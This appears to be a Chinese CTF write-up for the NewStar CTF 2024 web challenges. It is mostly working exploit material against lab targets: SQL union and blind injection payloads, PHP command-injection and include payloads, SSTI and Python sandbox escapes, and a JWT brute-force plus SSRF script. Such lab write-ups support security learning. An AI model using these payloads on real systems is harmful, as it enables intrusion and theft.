Week1
web
智械危机(decrypt)
robots.txt得到提示
<?php
function execute_cmd($cmd) {
system($cmd);
}
function decrypt_request($cmd, $key) {
$decoded_key = base64_decode($key);
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i];
}
$hashed_reversed_cmd = md5($reversed_cmd);
if ($hashed_reversed_cmd !== $decoded_key) {
die("Invalid key");
}
$decrypted_cmd = base64_decode($cmd);
return $decrypted_cmd;
}
if (isset($_POST['cmd']) && isset($_POST['key'])) {
execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
highlight_file(__FILE__);
}
?>
exp:
<?php
$cmd = "tac /flag";
$encrypted_cmd = base64_encode($cmd); // 传入
$reversed_encrypted_cmd = '';
for ($i = strlen($encrypted_cmd) - 1; $i >= 0; $i--) {
$reversed_encrypted_cmd .= $encrypted_cmd[$i];
}
$hashed_reversed_encrypted_cmd = md5($reversed_encrypted_cmd);
$key = base64_encode($hashed_reversed_encrypted_cmd); // 传入
echo $encrypted_cmd . "\n";
echo $key . "\n";
会赢吗(js)
查看源码
<!-- flag第一部分:ZmxhZ3tXQTB3,开始你的新学期吧!:/4cqu1siti0n -->
<script>
async function revealFlag(className) {
try {
const response = await fetch(`/api/flag/${className}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
});
if (response.ok) {
const data = await response.json();
console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`);
} else {
console.error('请求失败,请检查输入或服务器响应。');
}
} catch (error) {
console.error('请求过程中出现错误:', error);
}
}
// 控制台提示
console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");
</script>
{"flag":"IV95NF9yM2Fs","nextLevel":"s34l"}
<script>
document.addEventListener('DOMContentLoaded', function () {
const form = document.getElementById('seal_him');
const stateElement = document.getElementById('state');
const messageElement = document.getElementById('message');
form.addEventListener('submit', async function (event) {
event.preventDefault();
if (stateElement.textContent.trim() !== '解封') {
messageElement.textContent = '如何是好?';
return;
}
try {
const response = await fetch('/api/flag/s34l', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ csrf_token: document.getElementById('csrf_token').value })
});
if (response.ok) {
const data = await response.json();
messageElement.textContent = `第三部分Flag: ${data.flag}, 你解救了五条悟!下一关: /${data.nextLevel || '无'}`;
} else {
messageElement.textContent = '请求失败,请重试。';
}
} catch (error) {
messageElement.textContent = '请求过程中出现错误,请重试。';
}
});
});
</script>
{"flag":"MXlfR3I0c1B","nextLevel":"Ap3x"}
{"flag":"fSkpKcyF9","nextLevel":null}
flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}
谢谢皮蛋
源码里提示
$sql="SELECT uname,position FROM hexo WHERE id=$id LIMIT 0,1";
或许你可以了解下联合注入
# 检测回显
-1 union select 1,2#
#查表名 Fl4g,hexo
-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
#查列名 id,des,value
-1 union select group_concat(column_name),2 from information_schema.columns where table_name='Fl4g'#
#getflag
-1 union select des,value from Fl4g#
PangBai 过家家(1)
在响应包中发现了Location
Location
首部指定的是需要将页面重新定向至的地址。一般在响应码为 3xx 的响应中才会有意义。
于是直接访问,得到了新的cookie解密发现为level2
尝试GET请求ask=miao,拿到下一关cookie
加上之前的GET请求后显示 用另一种方法(Method)打声招呼(say=hello
)吧 ~ 那就POST请求
来到第四关
修改UA头为User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Papa/20100101 Firefox/46.0
你的话语似乎没有对 PangBai 起效,试着说「玛卡巴卡阿卡哇卡米卡玛卡呣」。
修改post内容即可say=玛卡巴卡阿卡哇卡米卡玛卡呣
这里便是 PangBai 的心境了呢!试着解开心结吧 ~
或许可以尝试用修改(PATCH)的方法提交一个补丁包(name=”file”; filename=”*.zip”)
后面的不会了 看wp复现的
PATCH 包的格式与 POST 无异,使用 Content-Type: multipart/form-data
发包即可,注意该 Header 的值后面需要加一个 boundary
表示界定符。例如Content-Type: multipart/form-data; boundary=abc
,那么在 Body 中,以 --abc
表示一个查询字段的开始,当所有查询字段结束后,用 --abc--
表示结束。
关于 multipart/form-data
这个 Content-Type 下的 Body 字段不需要进行转义,每一个查询内容以一个空行区分元信息和数据(就和 HTTP 报文区分标头和 Body 的那样),如果数据中包含
boundary
界定符的相关内容,可能引起误解,那么可以通过修改boundary
以规避碰撞情况(因此浏览器发送mulipart/form-data
的表单时,boundary
往往有很长的--
并且包含一些长的随机字符串。
本题只检查文件名后缀是否为 .zip
. 因此如此发包即可:
HTTP
PATCH /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
User-Agent: Papa/1.0
Content-Type: multipart/form-data; boundary=abc
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0
Content-Length: 168
--abc
Content-Disposition: form-data; name="file"; filename="1.zip"
123
--abc
Content-Disposition: form-data; name="say"
玛卡巴卡阿卡哇卡米卡玛卡呣
--abc--
也可以使用脚本
import requests
url =
"http://url/?ask=hello"
headers = {
"Host": "",
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Accept-Language":
"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Cookie":
"token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.H9tHdIUKdnpuotdgpRw4F08nyTIW1kf9f_FTQNS-Dyg",
"Origin": "http://localhost",
"Priority": "u=0, i",
"Referer": "http://localhost",
"User-Agent": "Papa/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36"
}
file_path = '114514.zip'
data = {
'say': '玛卡巴卡阿卡哇卡米卡玛卡呣'
}
files = {
'file': (file_path, open(file_path, 'rb'), 'application/zip')
}
response =
requests.request("PATCH", url, headers=headers, data=data,
files=files)
files['file'][1].close()
print(response.text)
X-Forwarded-For: localhost即可
PangBai 以一种难以形容的表情望着你——激动的、怀念的,却带着些不安与惊恐,像落单后归家的雏鸟,又宛若雷暴中遇难的船员。 你似乎无法抵御这种感觉的萦绕,像是一瞬间被推入到无法言喻的深渊。尽管你尽力摆脱,但即便今后夜间偶见酣眠,这一瞬间塑成的梦魇也成为了美梦的常客。 「像■■■■验体■■不可能■■■■ JWT 这种■■ Oga0tB4RryevSMSQ ■■■密钥,除非■■■■■走,难道■■■■■■吗?!」 「……」
这里应该是jwt的密钥 进行加密 修改level为0即可
Week2
web
你能在一秒内打出八句英文吗
import re
import requests
url = "http://eci-2zecn3tukijkr5zsjqtj.cloudeci1.ichunqiu.com/start"
url_post = "http://eci-2zecn3tukijkr5zsjqtj.cloudeci1.ichunqiu.com/submit"
session = requests.session()
first_response = session.get(url)
payload = re.findall(r'<p id="text">(.*)</p>', first_response.text)[0]
print(payload)
data = {
'user_input': f"{payload}"
}
response = session.post(url_post, data=data)
payload = re.findall(r'<p id="text">(.*)</p>', response.text)
print(response.text)
遗失的拉链
根据题目拉链(zip) 可猜测可能在备份文件 扫描可得www.zip
pizwww.php
<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
//欸 为啥sha1和md5相等呢
$cmd = $_POST['cmd'];
if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
echo eval($cmd);
}else{
echo "Wrong";
}
}
Payload:
GET: ?new[]=1
POST: star[]=2&cmd=system('tac /f*');
谢谢皮蛋 plus
同样还是联合注入,意在考查空格和 and
的绕过,为了避免直接使用报错注入得到 flag,将报错注入 ban 了
preg_match_all("/ |extractvalue|updataxml|and/i",$id)
and
使用 &&
替换,空格使用 /**/
替换,其他就是一样的操作
# 查表名 Fl4g,hexo
-1"/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
# 查列名 id,des,value
-1"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='Fl4g'#
# getFlag
-1"/**/union/**/select/**/group_concat(des),group_concat(value)/**/from/**/Fl4g#
PangBai 过家家(2)
任务 1:清点泄露的文件,找到后门
扫了一下是git泄露
githacker --url http://eci-2zecn3tukijks5ickqsb.cloudeci1.ichunqiu.com/ --output pangbai2
git log
git reset --hard xxxx
切换了之前分支查看 多了些文件
看了wp后 git stash list
Stash 的作用
有时会遇到这样的情况,我们正在 dev 分支开发新功能,做到一半时有人过来反馈一个 bug,让马上解决,但是又不方便和现在已经更改的内容混杂在一起,这时就可以使用
git stash
命令先把当前进度保存起来。随后便可以即时处理当前要处理的内容。使用git stash pop
则可以将之前存储的内容重新恢复到工作区。又或者,我们已经在一个分支进行了修改,但发现自己修改错了分支,可以通过 Stash 进行存储,然后到其它分支中释放。
一些常见的 Stash 命令如:
git stash
保存当前工作进度,会把暂存区和工作区的改动保存起来。执行完这个命令后,在运行
git status
命令,就会发现当前是一个干净的工作区,没有任何改动。使用git stash save '一些信息'
可以添加一些注释。
git stash pop [-index] [stash_id]
从 Stash 中释放内容,默认为恢复最新的内容到工作区。
使用 git stash pop
恢复后门文件到工作区。
BacKd0or.v2d23AOPpDfEW5Ca.php
<?php
# Functions to handle HTML output
function print_msg($msg) {
$content = file_get_contents('index.html');
$content = preg_replace('/\s*<script.*<\/script>/s', '', $content);
$content = preg_replace('/ event/', '', $content);
$content = str_replace('点击此处载入存档', $msg, $content);
echo $content;
}
function show_backdoor() {
$content = file_get_contents('index.html');
$content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content);
echo $content;
}
# Backdoor
if ($_POST['papa'] !== 'TfflxoU0ry7c') {
show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
print_msg('PangBai loves you!');
call_user_func($_POST['func'], $_POST['args']);
} else {
print_msg('PangBai hates you!');
}
对于这个表达式,可以使用换行符绕过。preg_match
默认为单行模式(此时 .
会匹配换行符),但在 PHP 中的该模式下,$
除了匹配整个字符串的结尾,还能够匹配字符串最后一个换行符。
GET: ?NewStar[CTF.2024=Welcome%0a
POST: papa=TfflxoU0ry7c&func=system&args=set
复读机
ssti fenjing一把梭
python -m fenjing crack --url http://eci-2ze7rlqz56xnra7t93ja.cloudeci1.ichunqiu.com/ --method POST --inputs user_input
Payload:
{{cycler.next.__globals__.__builtins__.__import__('os').popen('tac /flag').read()}}
Week3
web
Include Me
<?php
highlight_file(__FILE__);
function waf(){
if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
die("兄弟你别包");
};
}
if(isset($_GET['phpinfo'])){
phpinfo();
}
//兄弟你知道了吗?
if(!isset($_GET['iknow'])){
header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}
waf();
include $_GET['me'];
echo "兄弟你好香";
?>
关键过滤了 php
>
?
=
导致无法使用php伪协议 可以使用data伪协议 但是转为base64 需要巧妙设计避开=
以及不需要后面的?>
闭合
Payload:
GET: ?me=data://text/plain;base64,PD9waHAgc3lzdGVtKCJzb3J0IC9mbGFnIik7
臭皮踩踩背
你被豌豆关在一个监狱里,,,,,,
豌豆百密一疏,不小心遗漏了一些东西,,,
def ev4l(*args):
print(secret)
inp = input("> ")
f = lambda: None
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
能不能逃出去给豌豆踩踩背就看你自己了,臭皮,,
>
题目需要用 nc 连接,给出了部分源码:
def ev4l(*args):
print(secret)
inp = input("> ")
f = lambda: None
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
完整源码:
print('你被豌豆关在一个监狱里……')
print('豌豆百密一疏,不小心遗漏了一些东西…')
print('''def ev4l(*args):\n\tprint(secret)\ninp = input("> ")\nf = lambda: None\nprint(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))''')
print('能不能逃出去给豌豆踩踩背就看你自己了,臭皮…')
def ev4l(*args):
print(secret)
secret = '你已经拿到了钥匙,但是打开错了门,好好想想,还有什么东西是你没有理解透的?'
inp = input("> ")
f = lambda: None
if "f.__globals__['__builtins__'].eval" in inp:
f.__globals__['__builtins__'].eval = ev4l
else:
f.__globals__['__builtins__'].eval = eval
try:
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
except Exception as e:
print(f"Error: {e}")
再此之前,我们来学习一下参考文档中的内建函数 __builtins__
,还有 globals
到底是什么,再了解的 eval()
的原理,逃离这个上下文。
注意
下面的代码块中,除特别说明外,若代码块中存在
>>>
开头,则表示该代码块是在自己的 Python 环境中作为测试执行的(直接命令行运行python
),否则,则是 nc 后发送给题目的内容。
globals 和 builtins
globals
是我们当前的全局空间,如果你声明一个全局变量,它将会存在于当前的 globals
中,我们可以看一下 globals
中到底有哪些内容,直接新建一个 Python 会话:
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>}
>>> x=1
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'x': 1}
但是为什么我们能够直接调用 open()
函数呢?因为 。但是如果访问了 open
函数,如果 globals
中有,那就执行 globals
中的(可能是你自己定义的,因此存在于 globals
空间中),否则,执行 builtins
中的(类似 open
eval
__import__
之类的函数都是在 builtins
中的)。
我们来查看一下 builtins
中到底有哪些内容:
>>> globals()['__builtins__'].__dict__.keys()
dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__build_class__', '__import__', 'abs', 'all', 'any', 'ascii', 'bin', 'breakpoint', 'callable', 'chr', 'compile', 'delattr', 'dir', 'divmod', 'eval', 'exec', 'format', 'getattr', 'globals', 'hasattr', 'hash', 'hex', 'id', 'input', 'isinstance', 'issubclass', 'iter', 'aiter', 'len', 'locals', 'max', 'min', 'next', 'anext', 'oct', 'ord', 'pow', 'print', 'repr', 'round', 'setattr', 'sorted', 'sum', 'vars', 'None', 'Ellipsis', 'NotImplemented', 'False', 'True', 'bool', 'memoryview', 'bytearray', 'bytes', 'classmethod', 'complex', 'dict', 'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map', 'object', 'range', 'reversed', 'set', 'slice', 'staticmethod', 'str', 'super', 'tuple', 'type', 'zip', '__debug__', 'BaseException', 'Exception', 'TypeError', 'StopAsyncIteration', 'StopIteration', 'GeneratorExit', 'SystemExit', 'KeyboardInterrupt', 'ImportError', 'ModuleNotFoundError', 'OSError', 'EnvironmentError', 'IOError', 'WindowsError', 'EOFError', 'RuntimeError', 'RecursionError', 'NotImplementedError', 'NameError', 'UnboundLocalError', 'AttributeError', 'SyntaxError', 'IndentationError', 'TabError', 'LookupError', 'IndexError', 'KeyError', 'ValueError', 'UnicodeError', 'UnicodeEncodeError', 'UnicodeDecodeError', 'UnicodeTranslateError', 'AssertionError', 'ArithmeticError', 'FloatingPointError', 'OverflowError', 'ZeroDivisionError', 'SystemError', 'ReferenceError', 'MemoryError', 'BufferError', 'Warning', 'UserWarning', 'EncodingWarning', 'DeprecationWarning', 'PendingDeprecationWarning', 'SyntaxWarning', 'RuntimeWarning', 'FutureWarning', 'ImportWarning', 'UnicodeWarning', 'BytesWarning', 'ResourceWarning', 'ConnectionError', 'BlockingIOError', 'BrokenPipeError', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionRefusedError', 'ConnectionResetError', 'FileExistsError', 'FileNotFoundError', 'IsADirectoryError', 'NotADirectoryError', 'InterruptedError', 'PermissionError', 'ProcessLookupError', 'TimeoutError', 'open', 'quit', 'exit', 'copyright', 'credits', 'license', 'help', '_'])
可以看到 open
eval
__import__
等函数都在 builtins
中。
eval
eval
函数的第一个参数就是一个字符串,即你要执行的 Python 代码,第二个参数就是一个字典,指定在接下来要执行的代码的上下文中,globals
是怎样的。
题目中,eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l})
这段代码,__builtins__
被设置为 None
,而我们输入的代码就是在这个 builtins
为 None
的上下文中执行的,我们从而失去了直接使用 builtins
中的函数的能力,像下面的代码就会报错(题目中直接输入 print(1)
):
>>> eval('print(1)', {"__builtins__": None})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
TypeError: 'NoneType' object is not subscriptable
由于全局 global
中没有 print
,从而从 builtins
中寻找,而 builtins
为 None
,触发错误。
但注意看,题目刚好给了一个匿名函数 f
,看似无用,实际上参考文档已经给出提示——Python 中「一切皆对象」。故可以利用函数对象的 __globals__
属性来逃逸。我们可以在 Python 终端测试一下:
>>> f = lambda: None
>>> f.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'f': <function <lambda> at 0x0000026073850700>}
函数的 __globals__
记录的是这个函数所在的 globals
空间,而这个 f
函数是在题目源码的环境中(而不是题目的 eval 的沙箱中),我们从而获取到了原始的 globals
环境,然后我们便可以从这个原始 globals
中获取到原始 builtins
:
f.__globals__['__builtins__']
深入探究 eval 的 builtin 逻辑
但这里还有一个问题,如果我们直接调用 f.__globals__['__builtins__'].eval
,先不说题目会替换掉 eval
函数(实际上在点号前随便几个空格或者字符串拼接就能绕过,下不赘述),即使我们能够调用,也会报错:
>>> f = lambda: None
>>> inp='''f.__globals__['__builtins__'].eval('print(1)')'''
>>> eval(inp, {"__builtins__": None, 'f': f})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
File "<string>", line 1, in <module>
TypeError: 'NoneType' object is not subscriptable
为什么呢?可以看 Python 解释器的 builtins
相关的代码: bltinmodule.c.
可见,会检查 globals
中是否已经包含了 builtins
,如果没有,则会通过 PyEval_GetBuiltins()
获取默认的内置函数,并将其添加到 globals
中。
因此,报错的原因便是,我们在 inp
中的 eval
并没有指定 globals
,因此 Python 会将当前调用处的上下文的 globals
作为第二个参数,即使设定了第二个参数但没有指定 __builtins__
,Python 也会自动注入当前上下文中的 builtins
(也就是未指定则继承)。但当前上下文中的 builtins
是 None
,因此会报错。
绕过也很简单,显式指定即可:
>>> inp='''f.__globals__['__builtins__'].eval('print(1)', { "__builtins__": f.__globals__['__builtins__'] })'''
>>> eval(inp, {"__builtins__": None, 'f': f})
可以看下面的结构树:
# In source code
globals() <- f.__globals__
├─ __builtins__ <- f.__globals__['__builtins__']
│ ├─ open <- f.__globals__['__builtins__'].open
│ ├─ eval <- f.__globals__['__builtins__'].eval
│ └─ ...
├─ f <- f.__globals__['f']
└─ ...
# In `eval(inp, {"__builtins__": None, "f": f})`
globals()
├─ __builtins__ <- None
├─ f
└─ ...
# Though `f` was from top globals, and you can reach top builtins by `f.__globals__['__builtins__']`
# the context is still at this level when you run `eval()` AKA `f.__globals__['__builtins__'].eval()`
# so Python will inject the current builtins, which is `None`, into the `eval` context
Payload
综上,Payload 其实有很多种,这里列举一些:
# 读文件
f.__globals__['__builtins__'].open('/flag').read()
# 代码执行
f.__globals__['__builtins__'] .eval('open("/flag").read()', { "__builtins__": f.__globals__['__builtins__'] })
# 命令执行
f.__globals__['__builtins__'].__import__('os').popen('cat /flag').read()
臭皮的计算器
访问/calc
得到源码
from flask import Flask, render_template, request
import uuid
import subprocess
import os
import tempfile
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def waf(s):
token = True
for i in s:
if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
token = False
break
return token
@app.route("/")
def index():
return render_template("index.html")
@app.route("/calc", methods=['POST', 'GET'])
def calc():
if request.method == 'POST':
num = request.form.get("num")
script = f'''import os
print(eval("{num}"))
'''
print(script)
if waf(num):
try:
result_output = ''
with tempfile.NamedTemporaryFile(mode='w+', suffix='.py', delete=False) as temp_script:
temp_script.write(script)
temp_script_path = temp_script.name
result = subprocess.run(['python3', temp_script_path], capture_output=True, text=True)
os.remove(temp_script_path)
result_output = result.stdout if result.returncode == 0 else result.stderr
except Exception as e:
result_output = str(e)
return render_template("calc.html", result=result_output)
else:
return render_template("calc.html", result="臭皮!你想干什么!!")
return render_template("calc.html", result='试试呗')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=30002)
ban了所有字母所有字母,使用全角英文和 chr()
字符拼接(或八进制)即可绕过
import sys
def half_to_full(text):
full_text = ""
for char in text:
if 'A' <= char <= 'Z' or 'a' <= char <= 'z':
full_text += chr(ord(char) + 0xFEE0)
elif char == '_':
full_text += chr(0xFF3F)
else:
full_text += char
return full_text
def str_ord(text):
payload = ""
for char in text:
payload += "chr({})+".format(ord(char))
return payload.rstrip('+')
input_text = "__import__({0}).system({1})".format(str_ord("os"), str_ord("cat /flag")) # 手动将另一个_改为半角
output_text = half_to_full(input_text)
print(output_text)
__import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))
这“照片”是你吗
查看网页源码:
<!-- 图标能够正常显示耶! -->
<!-- 但是我好像没有看到 Niginx 或者 Apache 之类的东西 -->
<!-- 说明服务器脚本能够处理静态文件捏 -->
<!-- 那源码是不是可以用某些办法拿到呢! -->
很明显的提示,能够获得静态文件,但是没有用常见的反代服务来区别静态文件和服务型路由。
服务端处理文件和路由的逻辑很有可能会有漏洞。
简单的测试就能知道是路径穿越 + 任意文件读。
查看 Response Header,能够认出来是 Flask app,常用的 Flask 主程序名为为 app.py
.
路径穿越常用 ../
,意为当前文件夹的上一层。
本题将静态文件存储在了 ./static
中,主程序在 static
外,那么使用 GET /../app.py
就可以拿到源码了。
TIP
若直接在浏览器中访问带
../
的路径,会先被浏览器按照网址路径规则解析一遍../
,最终发出的并不是含这个字符串的路径,因此需要用发包软件发送过去。
本题的漏洞代码是 send_file("./static/" + file)
.
与 SQL 注入一样,直接拼接用户可控制输入的字符串是大忌!
很轻松的,我们获得了主程序的源代码。
from flask import Flask, make_response, render_template_string, request, redirect, send_file
import uuid
import jwt
import time
import os
import requests
from flag import get_random_number_string
base_key = str(uuid.uuid4()).split("-")
secret_key = get_random_number_string(6)
admin_pass = "".join([ _ for _ in base_key])
print(admin_pass)
app = Flask(__name__)
failure_count = 0
users = {
'admin': admin_pass,
'amiya': "114514"
}
def verify_token(token):
try:
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
data = jwt.decode(token, secret_key, algorithms=["HS256"])
if data.get('user') != 'admin':
failure_count += 1
return make_response("You are not admin!<br><img src='/3.png'>", 403)
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)
return True
@app.route('/')
def index():
return redirect("/home")
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
if users.get(username)==password:
token = jwt.encode({'user': username, 'exp': int(time.time()) + 600}, secret_key)
response = make_response('Login success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', token)
return response
else:
failure_count += 1
return make_response('Could not verify!<br><img src="/3.png">', 401)
@app.route('/logout')
def logout():
response = make_response('Logout success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', '', expires=0)
return response
@app.route('/home')
def home():
logged_in = False
try:
token = request.cookies.get('token')
data = jwt.decode(token, secret_key, algorithms=["HS256"])
text = "Hello, %s!" % data.get('user')
logged_in = True
except:
logged_in = False
text = "You have not logged in!"
data = {}
return render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Home Page</title>
</head>
<body>
<!-- 图标能够正常显示耶! -->
<!-- 但是我好像没有看到Nginx或者Apache之类的东西 -->
<!-- 说明服务器脚本能够处理静态文件捏 -->
<!-- 那源码是不是可以用某些办法拿到呢! -->
{{ text }}<br>
{% if logged_in %}
<a href="/logout">登出</a>
{% else %}
<h2>登录</h2>
<form action="/login" method="post">
用户名: <input type="text" name="username"><br>
密码: <input type="password" name="password"><br>
<input type="submit" value="登录">
</form>
{% endif %}
<br>
{% if user=="admin" %}
<a href="/admin">Go to admin panel</a>
<img src="/2.png">
{% else %}
<img src="/1.png">
{% endif %}
</body>
</html>
''', text=text, logged_in=logged_in, user=data.get('user'))
@app.route('/admin')
def admin():
try:
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
resp_text = render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Admin Panel</title>
</head>
<body>
<h1>Admin Panel</h1>
<p>GET Server Info from api:</p>
<input type="input" value={{api_url}} id="api" readonly>
<button onclick=execute()>Execute</button>
<script>
function execute() {
fetch("{{url}}/execute?api_address="+document.getElementById("api").value,
{credentials: "include"}
).then(res => res.text()).then(data => {
document.write(data);
});
}
</script>
</body>
</html>
''', api_url=request.host_url+"/api", url=request.host_url)
resp = make_response(resp_text)
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)
@app.route('/execute')
def execute():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
api_address = request.args.get("api_address")
if not api_address:
return make_response("No api address!", 400)
response = requests.get(api_address, cookies={'token': token})
return response.text
@app.route("/api")
def api():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
resp = make_response(f"Server Info: {os.popen('uname -a').read()}")
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp
@app.route("/<path:file>")
def static_file(file):
print(file)
restricted_keywords = ["proc", "env", "passwd", "shadow", "hosts", "sys", "log", "etc",
"bin", "lib", "tmp", "var", "run", "dev", "home", "boot"]
if any(keyword in file for keyword in restricted_keywords):
return make_response("STOP!", 404)
if not os.path.exists("./static/" + file):
return make_response("Not found!", 404)
return send_file("./static/" + file)
if __name__ == '__main__':
app.run(host="0.0.0.0",port=5000)
审计源码,可以知道我们要用 admin
用户登录来进入面板。两种方法:获取密码或者伪造 token
.
首先来看密码的长度:
base_key = str(uuid.uuid4()).split("-")
admin_pass = "".join([ _ for _ in base_key])
admin
的密码长度是 32 个字符,而整个程序有登录次数限制,因此无法爆破密码来登录。
而伪造 token
则需要 secret_key
,查看生成逻辑:
secret_key = get_random_number_string(6)
6 位数字字符串,可以在数秒内完成爆破。
users = {
'admin': admin_pass,
'amiya': "114514"
}
通过本段代码我们可以知道一个有效账户 amiya
,密码 114514
,通过发包登录,我们可以获得一个有效的 token
,据此能在本地认证签名 secret_key
的有效性(因为目标主机有认证次数限制)。
用明文存密码也是大忌!安全的做法是存储哈希值,并且加入一定的盐值(Salt)。
爆破出 secret_key
,然后查看登录后的逻辑:
前端请求 /execute
指定 api_address
,而 api_address
可控且没有校验,存在 SSRF 漏洞。
定位到源代码开头:
from flag import get_random_number_string
这是出题人故意漏的信息,将函数写在了 flag 模块并 import,提示查看 flag.py
@get_flag.route("/fl4g")
# 如何触发它呢?
def flag():
return FLAG
TIP
Python 程序可以 import 同一目录下的
.py
文件而不必创建__init__.py
等标记模块的文件。因此这里同级目录下有文件名为flag.py
的程序,模块名为flag
.
我们的操作很明确了:利用 /execute
路由的 SSRF 漏洞让服务器自己访问 http://localhost:5001/fl4g
,即访问 /execute?api_address=http://localhost:5001/fl4g
.
EXP 如下:
import time
import requests
import jwt
import sys
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <url>")
sys.exit(1)
url = sys.argv[-1]
def get_number_string(number,length):
return str(number).zfill(length)
print("[+] Exploit for newstar-zhezhaopianshinima")
print("[+] Getting a valid token from the server")
LENGTH = 6
req = requests.post(url+"/login", data={"username":"amiya","password":"114514"})
token = req.cookies.get("token")
print(f"[+] Got token: {token}")
print("[+] Brute forcing the secret key")
for i in range(1000000):
secret_key = get_number_string(i,LENGTH)
try:
decoded = jwt.decode(token, secret_key, algorithms=["HS256"])
break
except jwt.exceptions.InvalidSignatureError:
continue
print(f"[+] Found secret key: {secret_key}")
fake_token = jwt.encode({'user': 'admin', 'exp': int(time.time()) + 600}, secret_key)
print(f"[+] Generated a fake token: {fake_token}")
print("[+] Getting the flag")
req = requests.get(url+"/execute?api_address=http://localhost:5001/fl4g", cookies={"token":fake_token})
print(f"[+] Flag: {req.text}")
blindsql1
能够根据姓名查询成绩 加入单引号时,查询失败,说明存在注入
尝试 Alice' or 1=1#
(注意 #
要 URL 编码成 %23
)时,提示空格被禁用了
多次尝试,会发现 union
=
/
都被禁用了。
union
被禁用,说明此时该使用盲注,我们能够通过插入 and 1
或者 and 0
来控制是否返回数据,由此可以使用布尔盲注
=
的绕过可以使用 like
或者 in
代替
空格和斜杠 /
被禁用,可以使用括号代替
import string, time, requests
flag = ''
result = ''
flagstr = string.ascii_letters + string.digits + '_-{}'
url = "http://eci-2zebvccqe8nkjg2efc8s.cloudeci1.ichunqiu.com/"
for i in range(100):
print(f'[+] Bruting at {i}')
for c in flagstr:
time.sleep(0.2) # 限制速率,防止请求过快
tables = f'(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)like(database())))'
columns = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secrets\')))'
